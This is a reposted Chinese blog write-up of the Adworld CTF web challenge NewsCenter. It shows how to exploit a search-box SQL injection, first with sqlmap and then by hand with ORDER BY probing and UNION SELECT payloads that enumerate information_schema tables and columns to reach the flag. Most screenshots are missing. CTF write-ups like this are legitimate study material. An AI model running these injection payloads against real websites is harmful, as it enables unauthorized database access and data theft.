强烈建议你试试无所不能的chatGPT，快点击我

攻防世界web进阶区NewsCenter详解

阅读量：2134 次

发布时间：2019-04-30

本文共 517 字，大约阅读时间需要 1 分钟。

攻防世界web进阶区NewsCenter详解

题目

在这里插入图片描述

我们输入搜索，很明显是一个注入

在这里插入图片描述

方法一sqlmap注入

在这里插入图片描述

抓到包之后，存到txt文件中，

在这里插入图片描述

-r获取文件

然后发现可以注入

在这里插入图片描述

接着我们–dump直接获取到flag（比较暴力）

在这里插入图片描述

在这里插入图片描述

方法二手工注入

在这里插入图片描述

前引号为了闭合之前的语句，后面的#为了注释后面的引号

否则都会报错

我们使用orderby 查询有几列

当我们写三时发现可以正常查询，4就不行了

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

发现有一些前缀的文章，那么我们使用一些垃圾话将他查询失效

在这里插入图片描述

2和三可以回显

在这里插入图片描述

database数据库为news

在这里插入图片描述

我们查询他的表

woaini' union select 1,group_concat(table_name),database()   from information_schema.tables where table_schema='news'#

我们查询他的列

在这里插入图片描述

woaini' union select 1,group_concat(column_name),database()  from information_schema.columns where table_name='secret_table'#

我们查询fl4g字段

在这里插入图片描述

转载地址：http://xrugf.baihongyu.com/

你可能感兴趣的文章

【LEETCODE】278-First Bad Version

【LEETCODE】303-Range Sum Query - Immutable

【LEETCODE】21-Merge Two Sorted Lists

【LEETCODE】231-Power of Two

【LEETCODE】172-Factorial Trailing Zeroes

【LEETCODE】112-Path Sum

【LEETCODE】9-Palindrome Number

【极客学院】－python学习笔记-Python快速入门(面向对象－引入外部文件－Web2Py创建网站)

【LEETCODE】190-Reverse Bits

【LEETCODE】67-Add Binary

【LEETCODE】7-Reverse Integer

【LEETCODE】165-Compare Version Numbers

【LEETCODE】299-Bulls and Cows

【LEETCODE】223-Rectangle Area

【LEETCODE】12-Integer to Roman

【学习方法】如何分析源代码

【LEETCODE】61- Rotate List [Python]

【LEETCODE】143- Reorder List [Python]

【LEETCODE】82- Remove Duplicates from Sorted List II [Python]

【LEETCODE】86- Partition List [Python]

喝酒易醉，品茶养心，人生如梦，品茶悟道，何以解忧？唯有杜康！-- 愿君每日到此一游！

当前时间: 2024-05-18 15:50:06 当前IP: 13.58.25.75 联系邮箱:javaeecc@qq.com Copyright © 2020 - 2022 baihongyu.com 京ICP备2021015314号-2

强烈建议你试试无所不能的CHAT-GPT，快点击我

强烈建议你试试无所不能的CHAT-GPT，快点击我